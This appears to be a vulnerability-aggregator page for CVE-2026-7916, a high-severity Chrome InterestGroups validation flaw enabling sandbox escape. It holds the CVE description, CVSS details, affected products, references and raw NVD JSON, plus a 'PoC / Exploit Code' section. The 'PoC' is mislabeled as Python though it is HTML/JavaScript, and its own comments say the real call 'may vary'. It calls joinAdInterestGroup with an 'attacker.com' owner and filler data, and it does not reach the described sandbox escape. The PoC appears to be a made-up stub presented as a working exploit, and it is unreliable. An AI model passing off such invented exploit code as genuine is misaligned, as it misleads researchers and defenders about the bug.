CVE-2026-7916

Description

Insufficient data validation in InterestGroups in Google Chrome prior to 148.0.7778.96 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

8.3

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome < 148.0.7778.96

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-7916 -->
<!-- This HTML demonstrates the trigger for the InterestGroups validation issue -->
<!-- Note: Exploitation requires a prior renderer process compromise -->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-7916 PoC</title>
</head>
<body>
<script>
    // Attempt to trigger the vulnerability in InterestGroups
    try {
        // Malformed payload targeting the insufficient data validation
        let maliciousPayload = {
            name: "exploit_group",
            owner: "https://attacker.com",
            // Injecting unexpected data types or oversized buffers
            arbitraryData: new Array(0x10000).join("A")
        };

        // Calling the internal API susceptible to the bug
        // (Actual internal function call may vary based on Chrome version)
        if (navigator.joinAdInterestGroup) {
            navigator.joinAdInterestGroup(maliciousPayload, /*joinDurationSec=*/300);
        } else {
            console.log("InterestGroup API not detected in this environment.");
        }
    } catch (e) {
        console.error("Exception during PoC execution:", e);
    }
</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-7916
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-7916
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-7916/
[4] VulDB https://vuldb.com/cve/CVE-2026-7916
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop.html
[6] https://issues.chromium.org/issues/498720754

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-7916", "sourceIdentifier": "[email protected]", "published": "2026-05-06T19:16:39.880", "lastModified": "2026-05-08T20:16:32.520", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insufficient data validation in InterestGroups in Google Chrome prior to 148.0.7778.96 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "148.0.7778.96", "matchCriteriaId": "5E9416A8-4333-4195-983C-78F521AF6245"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/498720754", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}